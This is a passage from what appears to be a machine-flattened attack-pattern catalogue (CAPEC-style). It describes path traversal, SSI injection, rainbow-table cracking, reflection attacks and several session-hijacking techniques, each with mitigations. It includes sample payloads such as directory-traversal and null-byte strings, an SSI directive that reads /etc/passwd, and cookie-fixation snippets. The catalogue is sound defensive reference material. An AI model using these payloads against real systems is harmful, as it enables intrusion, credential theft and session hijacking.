If the user-supplied data is a filename, an attacker can simply alter the filename. Consider a log file that is based on the name of a server. Assume a popular chat program tries to connect to an Internet address (192.168.0.100, for example). The chat program wants to make a log file for the session. It first connects to a DNS server and does a lookup on the IP address. The DNS server returns the name server.exploited.com. After obtaining the name, the chat program makes a log file called server.exploited.com.LOG. Can you guess how an attacker would exploit this?
Consider what happens if the attacker has penetrated the DNS server on the network. Or, consider that the attacker has the means to poison the DNS cache on the client computer. The attacker now indirectly controls the name of the log file via the DNS name. The attacker could supply a DNS response such as server.exploited/../../../../NIDS/Events.LOG, possibly destroying a valuable log file.
Directory Browsing
Assume a Web application allows a user to access a set of reports. The path to the reports directory may be something like web/username/reports. If the username is supplied via a hidden field, an attacker could insert a bogus username such as ../../../../../WINDOWS. If the attacker needs to
remove the trailing string /reports, then he can simply insert enough characters so the string is truncated. Alternatively the attacker might apply the postfix NULL character (%00) to determine whether this terminates the string.
Once again, some popular forms this takes include
PATH%00%5C
PATH[0x00][0x5C]
PATH[alternate encoding of the NULL][additional characters required to pass filter]
From G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
158Targeted172Targeted173Targeted171Targeted74Targeted20Targeted52More DetailedReluctance to TrustPenetrationHighHighLowAllAllAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
An Attacker, aware of an application's location (and possibly authorized to use the application) can probe the application's structure and evaluate its robustness by probing its error conditions (not unlike one would during a 'fuzz' test, but more purposefully here) in order to support attacks such as blind SQL injection, or for the more general task of mapping the application to mount another subsequent attack.Determine user-controllable parameters of the applicationInject each parameter with content that causes an error condition to manifestModify the content of each parameter aaccording to observed error conditionsRepeat above steps with enough parameters until the application has been sufficiently mapped out to launch desired attack (for example, Blind SQL Injection)This class of attacks does not strictly require authorized access to the application. As Attackers use this attack process to classify, map, and identify vulnerable aspects of an application, it simply requires hypotheses to be verified, interaction with the application, and time to conduct trial-and-error activities.LowHighInjectionBrute ForceBlind SQL injection is an example of this technique, applied to successful exploit.CVE-2006-4705Attacker sends bad data at various servlets in a J2EE system, records returned exception stack traces, and maps application functionality.
In addition, this technique allows attackers to correlate those servlets used with the underlying open source packages (and potentially version numbers) that provide them.Medium: Although fuzzing parameters is not difficult, and often possible with automated fuzzers, interpreting the error conditions and modifying the parameters so as to move further in the process of mapping the application requires detailed knowledge of target platform, the languages and packages used as well as software design.The Attacker needs the ability to probe application functionality and provide it erroneous directives or data without triggering intrusion detection schemes or making enough of an impact on application logging that steps are taken against the attacker.
The Attack does not need special hardware, software, skills, or access. Repeated errors generated by the same piece of code are an indication, although it requires careful monitoring of the application and its associated error logs, if any.To defeat correlation, the attacker may try changing the origin IP addresses or client browser identification strings or start a new session from where he left off; any technique aimed at defeating the use of certain identification parameters for correlation goes a small way in obfuscating the attack.Application designers can construct a 'code book' for error messages. When using a code book, application error messages aren't generated in string or stack trace form, but are cataloged and replaced with a unique (often integer-based) value 'coding' for the error. Such a technique will require helpdesk and hosting personnel to use a 'code book' or similar mapping to decode application errors/logs in order to respond to them normally.Application designers can wrap application functionality (preferrably through the underlying framework) in an output encoding scheme that obscures or cleanses error messages to prevent such attacks. Such a technique is often used in conjunction with the above 'code book' suggestion.Information LeakageThis pattern applies in the context of an application that can not be directly reverse engineered, and thus requires the attacker to conduct reverse engineering exercises indirectly as described.User-controllable inputContent, based on application context, crafted to elicit error conditions from the applicationError Handling mechanism within the applicationThe impact of activation is an error condition that, hopefully for the attacker, reveals sufficient information to further map the application.209Targeted248SecondaryCustom error pages must be used to handle exceptions such that they do not reveal any information about the architecture of the application or the database.Employ application-level safeguards to filter data and handle exceptions gracefully.Failing SecurelyDefense in DepthNever Use Input as Part of a Directive to any Internal ComponentHandle All Errors SafelyReconnaissanceMediumMediumLowAllAllAllAllCWE - Input ValidationCWE - Improper Error Handling
An attacker gets access to the database table where hashes of passwords are stored. He then uses a rainbow table of precomputed hash chains to attempt to look up the original password. Once the original password corresponding to the hash is obtained, the attacker uses the original password to gain access to the system.
A pasword rainbow table stores hash chains for various passwords. A password chain is computed, starting from the original password, P, via a a reduce(compression) function R and a hash function H. A recurrence relation exists where Xi+1 = R(H(Xi)), X0 = P. Then the hash chain of length n for the original password P can be formed: X1, X2, X3, ... , Xn-2, Xn-1, Xn, H(Xn). P and H(Xn) are then stored together in the rainbow table.
Constructing the rainbow tables takes a very long time and is computationally expensive. A separate table needs to be constrcuted for the various hash algorithms (e.g. SHA1, MD5, etc.). However, once a rainbow table is computed, it can be very effective in cracking the passwords that have been hashed without the use of salt.
Determine application's/system's password policyDetermine the password policies of the target application/system. Determine minimum and maximum allowed password lengths.env-AllDetermine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc.).env-AllDetermine account lockout policy (a strict account lockout policy will prevent brute force attacks).env-AllPasswords are used in the application/systemenv-AllPasswords are not used in the application/systemenv-AllObtain password hashes
An attacker gets access to the database table storing hashes of passwords or potentially just discovers a hash of an indivual password.
Obtain copy of database table or flat file containing password hashes (by breaking access controls, using SQL Injection, etc.)env-AllObtain password hashes from platform-specific storage locations (e.g. Windows registry)env-AllSniff network packets containing password hashes.env-Web env-Peer2Peer env-ClientServer env-CommProtocolPassword authentication not used in application/system.env-AllAt least one (unsalted) password hash obtained.No password hashes obtained by attacker.Run rainbow table-based password cracking tool
An attacker finds or writes a password cracking tool that uses a previously computed rainbow table for the right hashing algorithm. It helps if the attacker knows what hashing algorithm was used by the password system.
Run rainbow table-based password cracking tool such as Ophcrack or RainbowCrack. Reduction function must depend on application's/system's password policy.env-AllSuccess outcome in step 2.env-AllFailure outcome in step 2.env-AllA password corresponding to the hash recovered.Password corresponding to the hash could not be recovered with the given rainbow table.Include salts in hashes.
Hash of the original password is available to the attacker. For a better chance of success, an attacker should have more than one hash of the original password, and ideally the whole table.
Salt was not used to create the hash of the original password. Otherwise the rainbow tables have to be reocmputed, which is very expensive and will make the attack effectively infeasible (especially if salt was added in iterations).
The system uses one factor password based authentication.
MediumMediumBrute Force
BusyBox 1.1.1 does not use a salt when generating passwords, which makes it easier for local users to guess passwords from a stolen password file using techniques such as rainbow tables.
CVE-2006-1058
Low: A variety of password cracking tools are available that can leverage a rainbow table. The more difficult part is to obtain the password hash(es) in the first place.
Rainbow table of password hash chains with the right algorithm used. A password cracking tool that leverages this rainbow table will also be required. Hash(es) of the password is required.
This is a completely offline attack that an attacker can perform at their lesure after the password hashes are obtained.
Use salt when computing password hashes. That is, concatenate the salt (random bits) with the original password prior to hashing it.
Privilege Escalation261Targeted521Targeted262Secondary263Secondary49More AbstractOccasionally Precedes70More DetailedOccasionally Precedes16More AbstractOccasionally PrecedesPenetrationHighHighLowAllAllAllAll
An attacker can abuse an authentication protocol susceptible to reflection attack in order to defeat it. Doing so allows the attacker illegitimate access to the target system, without possessing the requisite credentials.
Reflection attacks are of great concern to authentication protocols that rely on a challenge-handshake or similar mechanism. An attacker can impersonate a legitimate user and can gain illegitimate access to the system by successfully mounting a reflection attack during authentication.
The attacker opens a connection to the target server and sends it a challengeThe server responds by returning the challenge encrypted with a shared secret as well as its own challenge to the attackerSince the attacker does not possess the shared secret, he initiates a second connection to the server and sends it, as challenge, the challenge received from the server on the first connectionThe server treats this as just another handshake and responds by encrypting the challenge and issuing its own to the attackerThe attacker now receives the encrypted challenge on the second connection and sends it as response to the server on the first connection, thereby successfully completing the handshake and authenticating to the server.The attacker must have direct access to the target server in order to successfully mount a reflection attack. An intermediate entity, such as a router or proxy, that handles these exchanges on behalf of the attacker inhibits the attacker's ability to attack the authentication protocol.HighHighAuthentication is usually used as a means to identify and grant access to the user. If the authentication protocol can be defeated, in this instance by a reflection attack, authentication serves no purpose in identifying the legitimate users of the system from the ilegitimate onesProtocol ManipulationSpoofingA single sign-on solution for a network uses a fixed preshared key with its clients to initiate the signon process in order to avoid eavesdropping on the initial exchanges.
An attacker can use a reflection attack to mimick a trusted client on the network to particpate in the signon exchange.
Medium: The attacker needs to have knowledge of observing the protocol exchange and managing the required connections in order to issue and respond to challengesAll that the attacker requires is a means to observe and understand the protocol exchanges in order to reflect the challenges appropriately.The server must initiate the handshake by issuing the challenge. This ensures that the client has to respond before the exchange can move any furtherThe use of HMAC to hash the response from the server can also be used to thwart reflection. The server responds by returning its own challenge as well as hashing the client's challenge, its own challenge and the preshared secret. Requiring the client to respond with the HMAC of the two challenges ensures that only the possessor of a valid preshared secret can successfully hash in the two values.Introducing a random nonce with each new connection ensures that the attacker can not employ two connections to attack the authentication protocolPrivilege EscalationInformation Leakage
The context of this attack vector is an authentication protocol where the server is ready to encrypt challenges.
Such challenge-response protocols are to be seen in communications on a nework between a client and servers, or between systems such as routers that require authenticating to each other.
301Targeted303SecondaryReluctance To TrustComplete MediationDefense in DepthUse Authentication Mechanisms, Where Appropriate, CorrectlyPenetrationExploitationHighHighLowClient-ServerSOAAllAllAllAttackers can, in some cases, get around logic put in place to 'guard' sensitive functionality or data.
The attack may involve gaining access to and calling protected functionality (or accessing protected data) directly, may involve subverting some aspect of the guard's implementation, or outright removal of the guard, if possible.
The attacker determines, through brute-forcing, reverse-engineering or other similar means, the location and logic of the guard elementThe attacker then tries to determine the mechanism to circumvent the guard.Once the mechanism has been determined, the attacker proceeds to access the protected functionalityThe Attacker must have reverse-engineered the application and its design extensively enough to have determined that a guard element exists. This may have been done as simply as through probing (and likely receiving too verbose an error message) or could have involved high-brow techniques supported by advanced reverse engineering/debugging tools.Very HighMediumAttacker uses click-through exploration of a Servlet-based website to map
out its functionality, taking note of its URL-naming conventions and Servlet mappings. Using
this knowledge and guessing the Servlet name of functionality they're not authorized to use,
the Attacker directly navigates to the privileged functionality arund the authorizing single-
front controller (implementing programmatic authorization checks).
>Attacker reverse-engineers a Java binary (by decompiling it) and identifies
where license management code exists. Noticing that the license manager returns TRUE or FALSE
as to whether or not the user is licensed, the Attacker simply overwrites both branch targets
to return TRUE, recompiles, and finally redeploys the binary.
Medium: The attacker must ability to understand complex design logic as well as possibly the ability to reverse-engineer the design and code to determine placement and logic of guard element.The attacker needs the ability to explore the application's functionality and response to various conditions.
In cases where the guard component sits server-side, the attacker will likely require a valid login.
In the case that guard functionality exists client-side, the attacker will likely require reverse-engineering tools, such as a dissasembler.
Attackers may confine (and succeeed with) probing as simple as exploring an application's functionality and its underlying mapping to server-side components. It is likely that for this to succeed, the Attacker will need a valid login.At the other extreme, Attackers capable of reverse engineering client code will have the ability to remove functionality or identify the whereabouts of sensitive data through whitebox analysis, such as review of reverse-engineered code.Privilege EscalationInformation LeakageData ModificationThis pattern of attacks possesses valid contexts regardless of architectural model, provided that the application's developers have implemented a guard component. Guards may be implemented as application logic (such as in the 'Controller' element of the MVC pattern), may themselves be an enclosing object (such as Java's SealedObject class), or could be client-side functionality. The guard may mitigate access (by making an authorization decision, could filter input (or normalize/sensor output), or could conduct some set of security checks.
Client/server, n-tier and thick clients should all be considered for vulnerability to this pattern. However, the exposure of a guard to attack depends on the ability of the Attacker to identify and probe it and its surroundings, as well as the ability to access it logically. This makes this style of attack more difficult in n-tier applications in which the guard under attack is a properly implemented 'controller'.
This pattern of attack need not depend on a particular platform, technology stack, or language.
288Targeted372Secondary510TargetedCVE-2007-0968Unspecified vulnerability in Cisco Firewall Services Module (FWSM) before 2.3(4.7) and 3.x before 3.1(3.1) causes the access control entries (ACE) in an ACL to be improperly evaluated, which allows remote authenticated users to bypass intended certain ACL protections.CVE-2007-0802Mozilla Firefox 2.0.0.1 allows remote attackers to bypass the Phishing Protection mechanism by adding certain characters to the end of the domain name, as demonstrated by the "." and "/" characters, which is not caught by the Phishing List blacklist filter.VU#258834WebEOC ties privileges and roles to client-side resources. If an attacker can access a resource directly, that attacker will be granted all the privileges associated with that resource.Defense in DepthComplete MediationFailing SecurelyUse Authentication Mechanisms, Where Appropriate, CorrectlyUse Authorization Mechanisms CorrectlyPenetrationHighHighLowAllAllAllAll
Rest uses standard HTTP (Get, Put, Delete) style permissions methods, but these are not necessarily correlated generally with back end programs. Strict interpretation of HTTP get methods means that these HTTP Get services should not be used to delete information on the server, but there is no access control mechanism to back up this logic. This means that unless the services are properly ACL'd and the application's service implementation are following these guidelines then an HTTP request can easily execute a delete or update on the server side.
The attacker identifies a HTTP Get URL such as http://victimsite/updateOrder, which calls out to a program to update orders on a database or other resource. The URL is not idempotent so the request can be submitted multiple times by the attacker, additionally, the attacker may be able to exploit the URL published as a Get method that actually performs updates (instead of merely retrieving data). This may result in malicious or inadvertant altering of data on the server.
The attacker needs to be able to identify HTTP Get URLs. The Get methods must be set to call applications that perform operations other than get such as update and delete.
HighHighInjectionThe HTTP Get method is designed to retrieve resources and not to alter the state of the application or resources on the server side. However, developers can easily code programs that accept a HTTP Get request that do in fact create, update or delete data on the server. Both Flickr (http://www.flickr.com/services/api/flickr.photosets.delete.html) and del.icio.us (http://del.icio.us/api/posts/delete) have implemented delete operations using standard HTTP Get requests. These HTTP Get methods do delete data on the server side, despite being called from Get which is not supposed to alter state.
Low → It is relatively straightforward to identify an HTTP Get method that changes state on the server side and executes against an overprivileged system interface
Attacker may enumerate URLs to identify vulnerable services.
Design: Enforce principle of least privilege
Implementation: Ensure that HTTP Get methods only retrieve state and do not alter state on the server side
Implementation: Ensure that HTTP methods have proper ACLs based on what the funcitonality they expose
Data ModificationPrivilege Escalation
Payload delivered through standard communication protocols. In the Flickr and del.icio.us examples above, this is done through a normal web browser
Command(s) executed directly on host
Client machine and client network
Enables attacker to execute server side code with any commands that the program owner has privileges to.
267Targeted269Targeted264Targeted1More DetailedPenetrationExploitationHighHighLowSOAAllAllAll
Mark O'Neill, "Security for REST Web Services", http://www.vordel.com/downloads/rsa_conf_2006.pdf
An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.Determine applicabilityThe attacker determines whether server side includes are enabled on the target web server.Look for popular page file names. The attacker will look for .shtml, .shtm, .asp, .aspx, and other well known strings in URLs to help determine whether SSI functionality is enabled.env-WebFetch .htaccess file. In Apache web server installations, the .htaccess file may enable server side includes in specific locations. In those cases, the .htaccess file lives inside the directory where SSI is enabled, and is theoretically fetchable from the web server. Although most web servers deny fetching the .htaccess file, a misconfigured server will allow it. Thus, an attacker will frequently try it.env-WebIf .htaccess files are used, their contents should be checked for "Options Includes" or "Options IncludesNOEXEC".env-WebIf apache is used, the contents of the httpd.conf file and similar configuration files should be checked for "Options Includes" or "Options IncludesNOEXEC".env-WebIIS configurations contain server-side include compatibility.env-WebWeb pages that include mundane, but dynamic information (like the current date, a file's size, or some other data that SSI can produce) might be producing that content through SSI.env-WebAdding "AllowOverrides none" to the main httpd.conf file on an server (and the similar restrictions in other application servers) can prevent unexpected loosening of SSI functionality, even by internal developers.Attempt SSILook for user controllable input, including HTTP headers, that can carry server side include directives to the web serverUse a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.env-WebUse a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.env-WebURL parameters are used.env-WebNo parameters appear on the URL. Even though none appear, the web application may still use them if they are provided.env-WebA list of URLs, with their corresponding parameters is created by the attacker.Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them).Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application.Actively monitor the application and either deny or redirect requests from origins that appear to be automated.Inject SSIThe attacker may then need to view a particular page in order to have the server execute the include directive and run a command or open a file on behalf of the attackerThe attacker views data (perhaps from a file) that he normally should not see.The attacker executes a command on the server, or influences the arguments to a command executed via SSI on the server.A web server that supports server side includes and has them enabledUser controllable input that can carry include directives to the web serverHighVery HighIt is fairly easy to determine whether server-side includes are permitted on the target server. An attacker can potentially glean a lot of information if SSI Injection were found to be possible.InjectionProtocol ManipulationConsider a website hosted on a server that permits Server Side Includes (SSI), such as Apache with the "Options Includes" directive enabled.
Whenever an error occurs, the HTTP Headers along with the entire request are logged, which can then be displayed on a page that allows review of such errors. A malicious user can inject SSI directives in the HTTP Headers of a request designed to create an error.
When these logs are eventually reviewed, the server parses the SSI directives and executes them.
Medium: The attacker needs to be aware of SSI technology, determine the nature of injection and be able to craft input that results in the SSI directives being executed.None: Determining whether the server supports SSI does not require special tools, and nor does injecting directives that get executed.The attacker can probe for enabled SSI by injecting content that can be interpreted as SSI directives and viewing the page outputSet the OPTIONS IncludesNOEXEC in the global access.conf file or local .htaccess (Apache) file to deny SSI execution in directories that do not need themAll user controllable input must be appropriately sanitized before use in the application. This includes omitting, or encoding, certain characters or strings that have the potential of being interpreted as part of an SSI directiveServer Side Includes must be enabled only if there is a strong business reason to do so. Every additional component enabled on the web server increases the attack surface as well as administrative overheadInformation LeakageRun Arbitrary CodeServer Side Include is a technology that allows having the server parse some code before rendering an HTML page, without having to take recourse in a full-fledged server side language.
This technology is usually used to display items such as "Last-Modified Date" or the current date and time on the server, and include other pieces of code, such as the output from a shell command or another html file. The latter is used to display things such as a common footer on HTML pages.
A special file extension, usually .shtml, is used for server-parsed documents. The date is then displayed as <!--#echo var="DATE_LOCAL" --> and a footer file, footer.html is included as <!--#include virtual="/footer.html" -->
However, for web sites that allow user-submitted content to be displayed on its pages, this is a potential minefield, since the user can easily insert the statement <!--#include virtual="/etc/passwd" --> to insert, and subsequently, view the password file on the machine.
The problems that cause SSI Injection are the same as those that cause Cross Site Scripting - lack of input validation and sanitization of the output. If content is appropriately encoded before being rendered, the server would not interpret it as SSI tags and would, therefore, not execute it.
User controllable inputSSI directives that can cause disclosure of file contents or execution of commandsThe web server that parses and executes SSI directives before rendering the HTML pageThe SSI directives cause the inclusion of certain file's contents or the execution of a shell command, as directed by the attacker97Targeted74Secondary20SecondaryReluctance To TrustComplete MediationNever Use Unvalidated Input as Part of a Directive to any Internal ComponentPenetrationExploitationHighHighHighClient-ServerSOAAllAllAllPHPThis attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.Find Session IDsThe attacker interacts with the target host and finds that session IDs are used to authenticate users.An attacker makes many anonymous connections and records the session IDs assigned.env-Web env-Peer2Peer env-CommProtocol env-ClientServerAn attacker makes authorized connections and records the session tokens or credentials issued.env-Web env-Peer2Peer env-CommProtocol env-ClientServerWeb applications use session IDsenv-WebNetwork systems issue session IDs or connection IDsenv-CommProtocol env-ClientServer env-Peer2PeerMonitor logs for unusual amounts of invalid sessions.Monitor logs for unusual amounts of invalid connections or invalid requests from unauthorized hosts.Characterize IDsThe attacker studies the characteristics of the session ID (size, format, etc.). As a results the attacker finds that legitimate session IDs are predictable.Cryptanalysis. The attacker uses cryptanalysis to determine if the session IDs contain any cryptographic protections.env-Web env-ClientServer env-Peer2Peer env-CommProtocolPattern tests. The attacker looks for patterns (odd/even, repetition, multiples, or other arithmetic relationships) between IDsenv-Web env-ClientServer env-Peer2Peer env-CommProtocolComparison against time. The attacker plots or compares the issued IDs to the time they were issued to check for correlation.env-Web env-ClientServer env-Peer2Peer env-CommProtocolPatterns are detectable in session IDsSession IDs pass NIST FIPS 140 statistical tests for cryptographic randomness.Session IDs are repeated.Match issued IDsThe attacker brute forces different values of session ID and manages to predict a valid session ID.The attacker models the session ID algorithm enough to produce a compatible series os IDs, or just one match.env-Web env-ClientServer env-Peer2Peer env-CommProtocolSession identifiers successfully spoofedNo session IDs can be found or exploitedUse matched Session IDThe attacker uses the falsified session ID to access the target system.The attacker loads the session ID into his web browser and browses to restricted data or functionality.env-WebThe attacker loads the session ID into his network communications and impersonates a legitimate user to gain access to data or functionality.env-CommProtocol env-Peer2Peer env-ClientServerMonitor the correlation between session IDs and other station designations (MAC address, IP address, VLAN, etc.). Alert on session ID reuse from multiple sources.Terminate both sessions if an ID is used from multiple origins.The target host uses session IDs to keep track of the users.Session IDs are used to control access to resources.The session IDs used by the target host are predictable.For example, the session IDs are generated using predictable information (e.g., time).HighHighSpoofingBrute ForceAnalysisJetty before 4.2.27, 5.1 before 5.1.12, 6.0 before 6.0.2, and 6.1 before 6.1.0pre3 generates predictable session identifiers using java.util.random, which makes it easier for remote attackers to guess a session identifier through brute force attacks, bypass authentication requirements, and possibly conduct cross-site request forgery attacks.CVE-2006-6969mod_usertrack in Apache 1.3.11 through 1.3.20 generates session ID's using predictable information including host IP address, system time and server process ID, which allows local users to obtain session ID's and bypass authentication when these session ID's are used for authentication.CVE-2001-1534Low: There are tools to brute force sesion ID. Those tools require a low level of knowledge.
Medium/High: Predicting Session ID may require more computation work which uses advanced analysis such as statistic analysis.The attacker can perform analysis of the randomness of the session generation algortihm.The attacker may need to steal a few valid session IDs using a different type of attack. And then use those session ID to predict the following ones.The attacker can use brute force tools to find a valid session ID.Use a strong source of randomness to generate a session ID.Use adequate length session IDsDo not use information available to the user in order to generate session ID (e.g., time).Ideas for creating random numbers are offered by Eastlake [RFC1750]Encrypt the session ID if you expose it to the user. For instance session ID can be stored in a cookie in encrypted format.Privilege Escalation290Targeted330Targeted331Targeted346Targeted488Secondary539Secondary200Secondary6Targeted285Secondary384SecondarySecuring the Weakest Link PenetrationHighHighLowClient-ServerJ2EE.NETAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.The attacker interacts with the target host and finds that session IDs are used to authenticate users.The attacker steals a session ID from a valid user.The attacker tries to use the stolen session ID to gain access to the system with the priviledges of the session ID's original owner.The target host uses session IDs to keep track of the users.Session IDs are used to control access to resources.The session IDs used by the target host are not well protected from session theft.HighHighSpoofingSocial EngineeringAnalysisOpenSSL and SSLeay allow remote attackers to reuse SSL sessions and bypass access controls.CVE-1999-0428Merak Mail IceWarp Web Mail uses a static identifier as a user session ID that does not change across sessions, which could allow remote attackers with access to the ID to gain privileges as that user, e.g. by extracting the ID from the user's answer or forward URLs.CVE-2002-0258Low: If an attacker can steal a valid session ID, he can then try to be authenticated with that stolen session ID.
Medium/High: More sophisticated attack can be used to hijack a valid session from a user and spoof a ligitimate user by reusing his valid session ID.The attacker can listen to a conversation between the client and server and steal a valid session ID.The attacker can try to steal session information from the user's coookies.The attacker can try a valid session from a finished transaction and find out that the transaction associated with the session ID did not time out.Always invalidate a session ID after the user logout.Setup a session time out for the session IDs.Protect the communication between the client and server. For instance it is best practice to use SSL to mitigate man in the middle attack.Do not code send session ID with GET method, otherwise the session ID will be copied to the URL. In general avoid writing session IDs in the URLs. URLs can get logged in log files, which are vulnerable to an attacker.Encrypt the session data associated with the session ID.Use multifactor authentication.Privilege Escalation294Targeted290Targeted346Targeted384Targeted488Secondary539Secondary200Secondary285Secondary21More DetailedSecuring the Weakest LinkPenetrationHighHighLowClient-ServerJ2EE.NETAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.The attacker induces a client to establish a session with the target software using a session identifier provided by the attacker. Once the user successfully authenticates to the target software, the attacker uses the (now privileged) session identifier in their own transactions. This attack leverages the fact that the target software either relies on client-generated session identifiers or maintains the same session identifiers after privilege elevation.Setup the AttackSetup a session: The attacker has to setup a trap session that provides a valid session identifier, or select an arbitrary identifier, depending on the mechanism employed by the application. A trap session is a dummy session established with the application by the attacker and is used solely for the purpose of obtaining valid session identifiers. The attacker may also be required to periodically refresh the trap session in order to obtain valid session identifiers.The attacker chooses a predefined identifier that he knows.env-Web env-Peer2Peer env-CommProtocol env-ClientServerThe attacker creates a trap session for the victim.env-Web env-Peer2Peer env-CommProtocol env-ClientServerThe application accepts predefined, or user-provided session IDsenv-Web env-Peer2Peer env-CommProtocol env-ClientServerThe application ignores predefined, or user-provided session IDs and provides new session IDs.env-Web env-Peer2Peer env-CommProtocol env-ClientServerA trap session or a predefined session ID is established.Detect and alert on users who provide unknown session IDs in their connection establishment. Since this also fits the scenario where a user's session has expired, the heuristic must be a bit smarter, perhaps looking for an unusually high number of such occurrences in a short time frame.Detect and alert on multiple origins connecting with the same predefined session ID.Attract a VictimFixate the session: The attacker now needs to transfer the session identifier from the trap session to the victim by introducing the session identifier into the victim's browser. This is known as fixating the session. The session identifier can be introduced into the victim's browser by leveraging cross site scripting vulnerability, using META tags or setting HTTP response headers in a variety of ways.Attackers can put links on web sites (such as forums, blogs, or comment forms).env-WebAttackers can establish rogue proxy servers for network protocols that give out the session ID and then redirect the connection to the legitimate service.env-Peer2Peer env-ClientServer env-CommProtocolAttackers can email attack URLs to potential victims through spam and phishing techniques.env-WebA victim makes a connection according to the attacker's design.Record referrers from web clients that connect with predefined session IDs. Alert when referrers do not match known, acceptable sites.Abuse the Victim's SessionTakeover the fixated session: Once the victim has achieved a higher level of privilege, possibly by logging into the application, the attacker can now take over the session using the fixated session identifier.The attacker loads the predefined session ID into his browser and browses to protected data or functionality.env-WebThe attacker loads the predefined session ID into his software and utilizes functionality with the rights of the victim.env-CommProtocol env-ClientServer env-Peer2PeerThe attacker gains access to data or functionality with the rights of the victim.Detect and alert on multiple simultaneous uses of the same session ID from different origins.Disconnect all simultaneous users of the same session ID when they arrive from different origins.Session identifiers that remain unchanged when the privilege levels change.Permissive session management mechanism that accepts random user-generated session identifiersPredicatable session identifiersHighMediumTime and StateInjectionConsider a banking application that issues a session identifier in the URL to a user before login, and uses the same identifier to identify the customer following successful authentication. An attacker can easily leverage session fixation to access a victim's account by having the victim click on a forged link that contains a valid session identifier from a trapped session setup by the attacker. Once the victim is authenticated, the attacker can take over the session and continue with the same levels of privilege as the victim.An attacker can hijack user sessions, bypass authentication controls and possibly gain administrative privilege by fixating the session of a user authenticating to the Management Console on certain versions of Macromedia JRun 4.0. This can be achieved by setting the session identifier in the user's browser and having the user authenticate to the Management Console. Session fixation is possible since the application server does not regenerate session identifiers when there is a change in the privilege levels.CVE-2004-2182Low: Only basic skills are required to determine and fixate session identifiers in a user's browser. Subsequent attacks may require greater skill levels depending on the attacker's motives.NoneDetermining whether the target application server accepts preset session identifiers is relatively easy. The attacker may try setting session identifiers in the URL or hidden form fields or in cookies, depending upon application design. Having access to an account or by utilizing a dummy account, the attacker can determine whether the preset session identifiers are accepted or not.With code or design in hand, the attacker can readily verify whether preset session identifiers are accepted and whether identifiers are regenerated, and possible destroyed, when privilege levels change.There are no indicators for the server since a fixated session identifier is similar to an ordinarily generated one. However, too many invalid sessions due to invalid session identifiers is a potential warning.A client can be suspicious if a received link contains preset session identifiers. However, this depends on the client's knowledge of such an issue. Also, fixation through Cross Site Scripting or hidden form fields is usually difficult to detect.Use a strict session management mechanism that only accepts locally generated session identifiers: This prevents attackers from fixating session identifiers of their own choice.Regenerate and destroy session identifiers when there is a change in the level of privilege: This ensures that even though a potential victim may have followed a link with a fixated identifier, a new one is issued when the level of privilege changes.Use session identifiers that are difficult to guess or brute-force: One way for the attackers to obtain valid session identifiers is by brute-forcing or guessing them. By choosing session identifiers that are sufficiently random, brute-forcing or guessing becomes very difficult.Privilege EscalationSession fixation takes place primarily due to the application trusting user-supplied session identifiers and using the same identifiers across multiple levels of privilege. There are two types of session management mechanisms:
1. Permissive: The application accepts any user-provided session identifier. This allows an attacker to easily fixate an identifier since the application trusts all identifiers provided to it.
2. Strict: The application trusts only those session identifiers that were generated locally.Although this is a far stronger mechanism, it does not make applications immune to session fixation. With a strict mechanism, the attacker needs to setup a trap session to obtain a valid identifier, trick the victim into using the identifier and leverage session fixation. Also, the attacker may now be required to periodically refresh the the trap session in order to maintain a valid session identifier.
Session identifiers can be fixated:
1. In the URL: The attacker needs to have the victim click on a hyperlink such as http://targetserver.com/login.jsp?jsessionid=176k36kk92adnn0lajeq91
2. In hidden form fields: The attacker needs to trick the victim into clicking on a look-alike form that contains the fixated session identifier.
3. In the cookie: This is relatively the most difficult location to fixate an identifier. The attacker has to resort to another mechanism such as Cross-Site Scripting to introduce a cookie with a fixated session identifier. This can be achieved by either using a client-side script to introduce the cookie (document.cookie="sessionid=abc1234") or injecting cookies using the META tag (<meta http-equiv=Set-Cookie content="sessionid=abc1234">).
GET or POST data, Hidden form fields and session cookiesPreset session identifierTarget application's session management mechanismThe payload activation impact is that a session identifier of the attacker's choice is considered valid and trust decisions by the application will be based on such a fixated identifier.384Targeted361Secondary21More DetailedRegenerate session identifiers upon each new request. This ensures that fixated session identifiers are rendered obsolete.Regenerate a session identifier everytime a user enters an authenticated session and destroy the identifier when the user logs out of an authenticated session.Set appropriate expiry times on cookies that contain session identifiers. This helps limit the window of opportunity for an attacker to use the identifier.Do not use session identifiers as part of URLs or hidden form fields. It becomes easy for an attacker to trick a user into a fixated session when session identifiers are easily accessible.Authenticate every transaction by requesting credentials. This ensures that only a legitimate user of the application can proceed with the transaction. If an attacker seeks to perform any such authenticated transaction, valid credentials will be required even though session fixation may have been successful earlier.Complete MediationReluctance to TrustDefense in DepthNever Use Unvalidated Input as Part of a Directive to any Internal ComponentPenetrationHighHighLowClient-ServerJ2EE.NETAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.CWE - Session FixationCWE - Time and State
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users’ privilege level.
